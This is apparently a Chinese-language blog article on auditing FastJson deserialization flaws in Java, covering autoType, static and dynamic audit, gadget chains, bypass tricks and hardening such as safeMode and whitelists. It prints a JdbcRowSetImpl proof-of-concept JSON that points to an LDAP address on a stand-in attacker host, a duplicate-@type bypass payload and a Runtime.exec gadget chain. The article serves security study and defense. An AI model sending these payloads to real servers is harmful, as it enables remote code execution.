:原理、利用鏈與安全實(shí)踐)
1. 項(xiàng)目概述一次完整的FastJson反序列化漏洞深度審計(jì)之旅最近在做一個(gè)內(nèi)部系統(tǒng)的安全評(píng)估又雙叒叕碰到了FastJson。這個(gè)庫(kù)在Java生態(tài)里太常見(jiàn)了功能強(qiáng)大用起來(lái)也方便但它的反序列化安全問(wèn)題就像房間里的大象大家都知道但總有人心存僥幸或者干脆不了解。這次審計(jì)的目標(biāo)很明確給定一個(gè)使用了FastJson進(jìn)行數(shù)據(jù)交換的Web應(yīng)用我們需要系統(tǒng)地找出其中可能存在的反序列化漏洞理解其背后的利用鏈?zhǔn)侨绾螛?gòu)造的并通過(guò)動(dòng)態(tài)調(diào)試親眼見(jiàn)證漏洞的觸發(fā)過(guò)程。更重要的是隨著FastJson版本的迭代和autoType機(jī)制的不斷加強(qiáng)老一套的利用方式很多已經(jīng)失效我們需要掌握最新的繞過(guò)技巧和審計(jì)思路。這不僅僅是一個(gè)漏洞的發(fā)現(xiàn)過(guò)程更是一次對(duì)Java安全機(jī)制、類加載過(guò)程和代碼執(zhí)行路徑的深度探索。無(wú)論你是負(fù)責(zé)安全審計(jì)的工程師還是日常開(kāi)發(fā)中用到FastJson的程序員理解這套流程都能讓你對(duì)自己的代碼有更強(qiáng)的掌控力知道風(fēng)險(xiǎn)點(diǎn)在哪以及如何規(guī)避。2. 核心原理與漏洞根源剖析要審計(jì)FastJson首先得把它那套“魔法”背后的原理掰開(kāi)揉碎了看明白。FastJson的反序列化漏洞核心矛盾點(diǎn)就在于它強(qiáng)大的功能和安全性之間的博弈。2.1 FastJson序列化與反序列化的基本機(jī)制FastJson在將JSON字符串轉(zhuǎn)換成Java對(duì)象反序列化時(shí)核心方法是JSON.parse()和JSON.parseObject()。它們之間的區(qū)別至關(guān)重要。JSON.parse()會(huì)返回一個(gè)JSONObject或者指定的類型對(duì)象而JSON.parseObject()在內(nèi)部調(diào)用了parse()之后還會(huì)嘗試將結(jié)果轉(zhuǎn)換成指定的Java類。當(dāng)我們?cè)诜葱蛄谢瘯r(shí)使用了形如JSON.parseObject(jsonString, SomeClass.class)的代碼或者JSON字符串中包含了type這個(gè)關(guān)鍵信息時(shí)FastJson就會(huì)嘗試去實(shí)例化指定的類。這個(gè)實(shí)例化過(guò)程就是風(fēng)險(xiǎn)的起點(diǎn)。FastJson為了能夠正確設(shè)置對(duì)象屬性會(huì)通過(guò)反射調(diào)用類的setter方法、getter方法或者直接訪問(wèn)public字段。例如一個(gè)JSON{name:test, value:123}在反序列化到某個(gè)類時(shí)FastJson會(huì)嘗試調(diào)用setName(“test”)和setValue(123)。這個(gè)過(guò)程本身是功能所需但問(wèn)題在于如果這個(gè)“設(shè)置屬性”的過(guò)程被惡意類利用變成了“執(zhí)行代碼”的過(guò)程漏洞就產(chǎn)生了。2.2 autoType安全與便利的“開(kāi)關(guān)”為了控制反序列化過(guò)程中可以實(shí)例化哪些類FastJson引入了autoType機(jī)制。在早期版本中這個(gè)開(kāi)關(guān)默認(rèn)是關(guān)閉的意味著你不能直接通過(guò)type指定一個(gè)任意類名來(lái)實(shí)例化。但從1.2.25版本開(kāi)始由于安全考慮autoType默認(rèn)被徹底關(guān)閉了。開(kāi)發(fā)者必須顯式地通過(guò)ParserConfig.getGlobalInstance().addAccept(“com.xxx.”)來(lái)添加白名單或者開(kāi)啟autoType不推薦。然而這個(gè)安全機(jī)制并非鐵板一塊。FastJson為了兼容性內(nèi)置了一個(gè)龐大的黑名單里面列出了一系列已知的危險(xiǎn)類如TemplatesImpl,JdbcRowSetImpl等。同時(shí)它也提供了一些特性開(kāi)關(guān)比如Feature.SupportNonPublicField支持非公有字段等。攻擊者和安全研究員的博弈就圍繞著如何繞過(guò)黑名單、利用特性開(kāi)關(guān)以及尋找不在黑名單中的“新鏈”展開(kāi)。漏洞的根源本質(zhì)上在于Java反射機(jī)制的能力過(guò)于強(qiáng)大而FastJson在反序列化時(shí)將部分控制權(quán)交給了不可信的輸入數(shù)據(jù)。注意這里要特別警惕一種誤區(qū)認(rèn)為只要關(guān)閉autoType或者使用最新版就高枕無(wú)憂。很多漏洞恰恰出在開(kāi)發(fā)者為了“方便”而開(kāi)啟了某些特性或者依賴的第三方庫(kù)中引入了危險(xiǎn)類而FastJson的黑名單沒(méi)有及時(shí)覆蓋。審計(jì)時(shí)全局搜索ParserConfig、addAccept、setAutoTypeSupport等關(guān)鍵字是第一步。3. 靜態(tài)代碼審計(jì)定位風(fēng)險(xiǎn)點(diǎn)與入口審計(jì)開(kāi)始我們不會(huì)直接去動(dòng)態(tài)調(diào)試而是先進(jìn)行靜態(tài)代碼分析像偵探一樣搜集線索縮小排查范圍。我們的工具可以是IDEA的全局搜索也可以是專門的SAST靜態(tài)應(yīng)用安全測(cè)試工具但核心思路是手動(dòng)的、基于理解的審計(jì)。3.1 關(guān)鍵代碼模式搜索首先在全項(xiàng)目代碼中搜索FastJson反序列化的調(diào)用點(diǎn)。主要關(guān)注以下幾個(gè)模式JSON.parseObject(input, Class) 這是最典型的模式如果第二個(gè)參數(shù)Class是來(lái)自用戶可控的輸入那就是極高風(fēng)險(xiǎn)點(diǎn)。但更多情況下這里是一個(gè)固定的類。JSON.parse(input) 單獨(dú)使用parse如果沒(méi)有后續(xù)的類型轉(zhuǎn)換默認(rèn)返回JSONObject風(fēng)險(xiǎn)相對(duì)較低但并非沒(méi)有。需要看這個(gè)JSONObject后續(xù)如何被使用。JSON.parseObject(input) 單參數(shù)形式返回JSONObject同樣需要關(guān)注后續(xù)使用。最關(guān)鍵的模式搜索type。在請(qǐng)求參數(shù)、HTTP Body、配置文件、數(shù)據(jù)庫(kù)存儲(chǔ)的JSON字段中如果發(fā)現(xiàn)了type字樣就意味著這段數(shù)據(jù)可能在某個(gè)環(huán)節(jié)被FastJson反序列化并且嘗試指定類型。這是最直接的攻擊面。除了FastJson自身的API還要關(guān)注那些接收Object、泛型參數(shù)或者方法簽名比較寬泛的接口。例如一個(gè)RPC框架的泛型反序列化方法底層可能就調(diào)用了FastJson。3.2 依賴分析與黑名單類排查光找到入口還不夠我們需要知道攻擊者可能利用哪些“武器”類。使用mvn dependency:tree或Gradle的依賴分析功能梳理項(xiàng)目所有依賴。重點(diǎn)關(guān)注那些已知的、常被用于構(gòu)造利用鏈的庫(kù)commons-collections(3.x, 4.x) 老牌利用鏈基地CC鏈。commons-beanutils CB鏈。rome 反序列化利用鏈。spring-aop, spring-core 某些版本中的類可能被利用。任何包含TemplatesImpl、JNDI查找如JdbcRowSetImpl、XSLT轉(zhuǎn)換、動(dòng)態(tài)類加載功能的庫(kù)。在審計(jì)過(guò)程中我會(huì)建一個(gè)表格記錄每個(gè)反序列化調(diào)用點(diǎn)、可控的輸入?yún)?shù)、預(yù)期的反序列化類型以及項(xiàng)目依賴中是否存在已知的危險(xiǎn)庫(kù)。這能幫助我快速評(píng)估風(fēng)險(xiǎn)等級(jí)。調(diào)用點(diǎn)位置反序列化方法輸入來(lái)源目標(biāo)類型/行為依賴中危險(xiǎn)庫(kù)風(fēng)險(xiǎn)評(píng)級(jí)UserController#loginJSON.parseObject(body, User.class)HTTP POST Bodycom.example.model.User無(wú)低目標(biāo)類簡(jiǎn)單ConfigService#loadRemoteJSON.parse(configStr)遠(yuǎn)程配置中心返回JSONObject后續(xù)調(diào)用getObject(“data”, Map.class)存在commons-collections 3.2.2中需看后續(xù)操作GenericRpcDecoder#decodeJSON.parseObject(bytes, Class.forName(typeName))RPC協(xié)議中的類型名字段動(dòng)態(tài)加載的任意類存在rome 1.0高動(dòng)態(tài)類名危險(xiǎn)庫(kù)3.3 上下文與數(shù)據(jù)流跟蹤對(duì)于中高風(fēng)險(xiǎn)點(diǎn)需要進(jìn)行數(shù)據(jù)流跟蹤。以那個(gè)GenericRpcDecoder為例typeName從哪里來(lái)從網(wǎng)絡(luò)數(shù)據(jù)包中解析得來(lái)用戶完全可控。Class.forName(typeName)會(huì)加載什么類如果白名單控制不嚴(yán)可能加載任意類。加載的類被傳給JSON.parseObjectFastJson會(huì)實(shí)例化它。如果這個(gè)類有危險(xiǎn)的setter、getter、構(gòu)造函數(shù)或靜態(tài)代碼塊漏洞就可能觸發(fā)。即使typeName不可控但JSON數(shù)據(jù)本身可控。如果目標(biāo)類比如一個(gè)為了便捷而設(shè)計(jì)的Map包裝類的某個(gè)setter方法參數(shù)類型很寬泛如setValue(Object obj)攻擊者仍然可以通過(guò)type在該屬性上“嵌套”一個(gè)惡意對(duì)象。靜態(tài)審計(jì)到這里我們已經(jīng)有了懷疑對(duì)象列表。接下來(lái)就需要通過(guò)動(dòng)態(tài)調(diào)試來(lái)驗(yàn)證我們的猜想并親眼目睹漏洞鏈的觸發(fā)。4. 動(dòng)態(tài)調(diào)試與利用鏈跟蹤實(shí)戰(zhàn)動(dòng)態(tài)調(diào)試是讓漏洞“活”過(guò)來(lái)的過(guò)程。我們不僅僅要證明漏洞存在更要清晰地看到從惡意JSON輸入到最終代碼執(zhí)行的完整路徑。這里我以在IDEA中調(diào)試一個(gè)存在漏洞的Spring Boot Web應(yīng)用為例。4.1 環(huán)境搭建與調(diào)試準(zhǔn)備首先確保你的測(cè)試應(yīng)用引入了有漏洞的FastJson版本例如1.2.24以及相關(guān)的依賴鏈如commons-collections 3.1。在IDEA中以Debug模式啟動(dòng)應(yīng)用。在疑似漏洞的入口處如某個(gè)Controller的請(qǐng)求處理方法打上斷點(diǎn)。構(gòu)造一個(gè)最簡(jiǎn)單的POC概念驗(yàn)證請(qǐng)求。例如針對(duì)經(jīng)典的JdbcRowSetImpl利用鏈利用JNDI注入一個(gè)原始的POC可能如下{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://attacker.com:1389/Exploit, autoCommit: true }在瀏覽器或使用Postman/Burp Suite發(fā)送這個(gè)JSON到你的目標(biāo)接口。4.2 跟蹤反序列化過(guò)程當(dāng)請(qǐng)求命中斷點(diǎn)后開(kāi)始步步調(diào)試F7進(jìn)入JSON.parseObject方法。解析與類型識(shí)別 你會(huì)看到FastJson的DefaultJSONParser開(kāi)始解析JSON字符串。當(dāng)它遇到type時(shí)會(huì)提取出類名com.sun.rowset.JdbcRowSetImpl。黑名單檢查 關(guān)鍵的一步跟進(jìn)代碼你會(huì)到達(dá)ParserConfig.checkAutoType()方法。在這個(gè)方法里FastJson會(huì)檢查類名是否在黑名單中。在1.2.25之后JdbcRowSetImpl通常就在黑名單里此時(shí)會(huì)直接拋出異常。這就是為什么老POC在新版本上直接失效的原因。實(shí)例化與屬性設(shè)置 如果繞過(guò)了黑名單或者你測(cè)試的是舊版本FastJson會(huì)使用JavaBeanDeserializer等反序列化器通過(guò)反射創(chuàng)建JdbcRowSetImpl的實(shí)例。然后它會(huì)依次解析dataSourceName和autoCommit屬性。觸發(fā)漏洞點(diǎn) 當(dāng)FastJson嘗試設(shè)置autoCommit: true時(shí)它會(huì)調(diào)用JdbcRowSetImpl.setAutoCommit(true)方法。跟蹤進(jìn)入這個(gè)方法你會(huì)發(fā)現(xiàn)它內(nèi)部調(diào)用了connect()。而connect()方法會(huì)去查找dataSourceName也就是我們控制的JNDI地址從而發(fā)起一個(gè)惡意的JNDI查詢導(dǎo)致遠(yuǎn)程類加載或RCE。通過(guò)調(diào)試我們清晰地看到了“輸入類名 - 實(shí)例化 - 調(diào)用特定setter - setter觸發(fā)危險(xiǎn)操作”這條鏈。這比單純看報(bào)告要深刻得多。4.3 復(fù)雜利用鏈的拼接跟蹤JdbcRowSetImpl鏈相對(duì)直接。對(duì)于更復(fù)雜的鏈如CC鏈Common Collections Chain調(diào)試起來(lái)就像走迷宮。它的原理是利用一系列實(shí)現(xiàn)了Transformer、InvokerTransformer接口的類以及ChainedTransformer、LazyMap、TiedMapEntry、HashMap的readObject或某些特定方法如equals,hashCode形成一個(gè)“接力賽”最終在反序列化完成時(shí)或后續(xù)某個(gè)操作觸發(fā)時(shí)執(zhí)行任意代碼。調(diào)試這種鏈你需要提前理解鏈的構(gòu)造 在紙上或腦子里畫(huà)好調(diào)用關(guān)系圖。例如HashMap.readObject() - TiedMapEntry.hashCode() - LazyMap.get() - ChainedTransformer.transform() - InvokerTransformer.transform() - Runtime.exec()。從鏈的末端開(kāi)始設(shè)斷點(diǎn) 比如在InvokerTransformer.transform()或Runtime.exec()處設(shè)斷點(diǎn)。反向推導(dǎo) 當(dāng)斷點(diǎn)命中時(shí)查看調(diào)用棧Call Stack。調(diào)用棧會(huì)清晰地展示出整個(gè)觸發(fā)路徑從反序列化入口如BadAttributeValueExpException.readObject一直到命令執(zhí)行。通過(guò)分析棧幀中的變量你可以理解每一層是如何傳遞和轉(zhuǎn)換的。關(guān)注getter和equals/hashCode 在CC鏈中漏洞觸發(fā)往往不是通過(guò)setter而是通過(guò)反序列化后容器類如HashMap在readObject時(shí)觸發(fā)的hashCode()計(jì)算或者FastJson在反序列化過(guò)程中為了比較對(duì)象而調(diào)用的equals()方法。在調(diào)試時(shí)要特別注意這些“非典型”的調(diào)用入口。動(dòng)態(tài)調(diào)試的價(jià)值在于它能幫你確認(rèn)漏洞是否真實(shí)可利用理解利用條件是否需要特定的類在classpath中是否需要特定的JDK版本等并且為編寫(xiě)更穩(wěn)定、更兼容的EXP利用工具提供依據(jù)。5. autoType繞過(guò)技巧與最新漏洞分析隨著FastJson不斷更新黑名單和加固checkAutoType邏輯直接使用黑名單類名的攻擊方式基本失效。攻擊與防御的較量進(jìn)入了“繞過(guò)”階段。理解這些繞過(guò)技巧對(duì)于審計(jì)和防御都至關(guān)重要。5.1 基于黑名單遺漏的繞過(guò)這是最直接的繞過(guò)方式。FastJson的黑名單并非全知全能。安全研究員不斷發(fā)現(xiàn)新的、可利用的“gadget class” gadget小工具類這些類不在黑名單內(nèi)但能與其他類組合形成利用鏈。例如在某些版本的spring-aop或mybatis中發(fā)現(xiàn)的類。審計(jì)時(shí)需要關(guān)注項(xiàng)目引入的、功能強(qiáng)大的第三方庫(kù)分析其是否有可被序列化、且包含危險(xiǎn)方法的類。5.2 基于異常處理機(jī)制的繞過(guò)在FastJson的某些版本中checkAutoType的邏輯存在缺陷。一種經(jīng)典的繞過(guò)方式是同時(shí)提供兩個(gè)type鍵。例如{ type: java.lang.Exception, type: com.sun.rowset.JdbcRowSetImpl, ... }FastJson在解析時(shí)可能會(huì)因?yàn)榈谝粋€(gè)類型解析異常而嘗試第二個(gè)并在異常處理過(guò)程中忽略了第二次的類型檢查。這種繞過(guò)方式高度依賴特定版本的代碼邏輯。5.3 基于緩存機(jī)制的繞過(guò)FastJson為了提高性能會(huì)對(duì)反序列化器Deserializer進(jìn)行緩存。攻擊者可以先通過(guò)一個(gè)合法的、在白名單內(nèi)的請(qǐng)求讓FastJson緩存某個(gè)危險(xiǎn)類的反序列化器。然后在后續(xù)請(qǐng)求中即使checkAutoType拒絕了該類但由于緩存中已存在其反序列化器FastJson可能會(huì)直接使用從而繞過(guò)檢查。這需要攻擊者能進(jìn)行兩次交互并且應(yīng)用存在緩存機(jī)制。5.4 基于期望類expectClass的繞過(guò)這是近年來(lái)非常有效且常見(jiàn)的一種繞過(guò)方式。它利用了checkAutoType方法中一個(gè)重要的參數(shù)expectClass期望類。當(dāng)調(diào)用JSON.parseObject(jsonString, SomeClass.class)時(shí)SomeClass.class會(huì)作為expectClass傳入。checkAutoType的邏輯是如果請(qǐng)求反序列化的類我們稱其為inputClass是expectClass的子類或?qū)崿F(xiàn)類那么在某些情況下即使inputClass不在白名單也可能被放行。因?yàn)閺倪壿嬌现v將數(shù)據(jù)反序列化成父類/接口期望的子類是合理的。攻擊者如何利用呢他們需要尋找一個(gè)在白名單或安全范圍內(nèi)的expectClass比如常見(jiàn)的接口Map,List,Object,Serializable或者一些框架基類然后找到一個(gè)該類的危險(xiǎn)子類。例如expectClass是Map攻擊者使用com.sun.rowset.JdbcRowSetImpl它實(shí)現(xiàn)了Serializable但并非Map此例不直接成立僅為說(shuō)明思路。更實(shí)際的例子是某些緩存庫(kù)或數(shù)據(jù)結(jié)構(gòu)庫(kù)中有實(shí)現(xiàn)了Map或Collection的危險(xiǎn)類。更經(jīng)典的案例是 FastJson 自身的歷史漏洞expectClass為Throwable時(shí)可以加載AutoCloseable等危險(xiǎn)類。在審計(jì)時(shí)要特別關(guān)注那些使用JSON.parseObject(json, Type)并且Type是泛型接口、抽象類或?qū)挿焊割惖那闆r。攻擊者可能通過(guò)精心構(gòu)造的JSON讓實(shí)際反序列化的類是這個(gè)寬泛類型的某個(gè)危險(xiǎn)子類。5.5 FastJson 1.2.68 后的autoType支持與安全增強(qiáng)從1.2.68版本開(kāi)始FastJson引入了一套更嚴(yán)格的autoType控制機(jī)制。它要求開(kāi)啟autoType時(shí)必須顯式指定白名單并且白名單支持前綴匹配如com.secure.。同時(shí)它引入了safeMode模式在此模式下將完全禁用autoType這是最安全的做法。審計(jì)建議檢查版本 首先確認(rèn)FastJson版本。如果是1.2.68檢查是否開(kāi)啟了safeMode。檢查白名單配置 全局搜索ParserConfig查看addAccept添加了哪些包前綴。白名單是否過(guò)于寬泛如com.、org.警惕expectClass濫用 即使配置了白名單也要審計(jì)那些使用寬泛expectClass的parseObject調(diào)用點(diǎn)。升級(jí)與修復(fù) 對(duì)于老舊系統(tǒng)首要建議是升級(jí)到最新版本1.2.83并啟用safeMode。如果因兼容性問(wèn)題無(wú)法升級(jí)則必須嚴(yán)格配置白名單并審查所有反序列化點(diǎn)。6. 防御策略與安全編碼實(shí)踐審計(jì)的最終目的不是為了攻擊而是為了加固。根據(jù)上面的分析我們可以從多個(gè)層面構(gòu)建防御體系。6.1 開(kāi)發(fā)層最小化風(fēng)險(xiǎn)版本升級(jí) 毫不猶豫地升級(jí)到FastJson最新穩(wěn)定版如1.2.83及以上并啟用safeMode。這是最根本、最有效的措施。// 啟用安全模式徹底關(guān)閉autoType ParserConfig.getGlobalInstance().setSafeMode(true);嚴(yán)格的白名單 如果確實(shí)需要autoType功能通常不建議必須使用精確的白名單。ParserConfig config ParserConfig.getGlobalInstance(); config.addAccept(“com.yourcompany.securemodel.”); // 只接受特定包下的類 // 絕對(duì)不要使用 config.setAutoTypeSupport(true); // 這是危險(xiǎn)操作使用指定類型的parseObject 盡量使用JSON.parseObject(jsonString, MySpecificClass.class)避免使用JSON.parse(jsonString)后獲取JSONObject再進(jìn)行復(fù)雜轉(zhuǎn)換。明確的反序列化目標(biāo)可以限制攻擊面。輸入驗(yàn)證與過(guò)濾 在數(shù)據(jù)進(jìn)入反序列化函數(shù)前對(duì)JSON字符串進(jìn)行嚴(yán)格的格式和內(nèi)容檢查。雖然很難直接過(guò)濾掉精心構(gòu)造的利用鏈但可以過(guò)濾掉明顯的type關(guān)鍵字注意這不是絕對(duì)安全因?yàn)槔面溈赡懿恍枰猼ype。避免反序列化不可信數(shù)據(jù) 這是黃金法則。不要使用FastJson反序列化來(lái)自網(wǎng)絡(luò)、用戶輸入、外部存儲(chǔ)的不可信數(shù)據(jù)。對(duì)于配置信息考慮使用更安全的格式如YAML配合安全加載器或Properties文件。6.2 架構(gòu)與運(yùn)維層縱深防御依賴管理 使用Maven Enforcer插件或類似工具禁止引入已知存在高危反序列化漏洞的組件版本如特定版本的commons-collections、rome等。定期掃描依賴漏洞。JVM層面防護(hù) 可以考慮使用Java Security Manager來(lái)限制反射、JNDI訪問(wèn)、外部進(jìn)程執(zhí)行等敏感操作。雖然配置復(fù)雜但能提供一層堅(jiān)實(shí)的隔離。WAF/ RASP防護(hù) 在應(yīng)用層防火墻WAF或通過(guò)運(yùn)行時(shí)應(yīng)用自我保護(hù)RASP技術(shù)可以檢測(cè)和阻斷反序列化攻擊流量。RASP能深入到應(yīng)用內(nèi)部監(jiān)控危險(xiǎn)API如Runtime.exec,Class.forName的調(diào)用棧判斷其是否由反序列化觸發(fā)。網(wǎng)絡(luò)隔離 限制應(yīng)用服務(wù)器出站連接特別是LDAP、RMI等協(xié)議可以阻斷JNDI注入等需要外連的攻擊方式。6.3 安全測(cè)試與監(jiān)控常態(tài)化漏洞掃描 將FastJson等組件的安全掃描納入CI/CD流程使用SCA軟件成分分析工具。灰盒/黑盒測(cè)試 定期對(duì)應(yīng)用進(jìn)行反序列化漏洞專項(xiàng)測(cè)試嘗試使用公開(kāi)的和自研的POC進(jìn)行探測(cè)。日志監(jiān)控 在應(yīng)用中關(guān)鍵的反序列化點(diǎn)添加監(jiān)控日志記錄反序列化的目標(biāo)類名。一旦出現(xiàn)異常或非預(yù)期的類名嘗試立即告警。FastJson反序列化漏洞的審計(jì)是一場(chǎng)攻防技術(shù)的深度實(shí)踐。它要求我們不僅要知道如何攻擊更要深刻理解其原理從而能從代碼編寫(xiě)、架構(gòu)設(shè)計(jì)、運(yùn)維部署等多個(gè)環(huán)節(jié)構(gòu)建起有效的防御。對(duì)于開(kāi)發(fā)者而言最務(wù)實(shí)的態(tài)度就是保持依賴組件更新遵循安全編碼規(guī)范對(duì)不可信數(shù)據(jù)保持敬畏。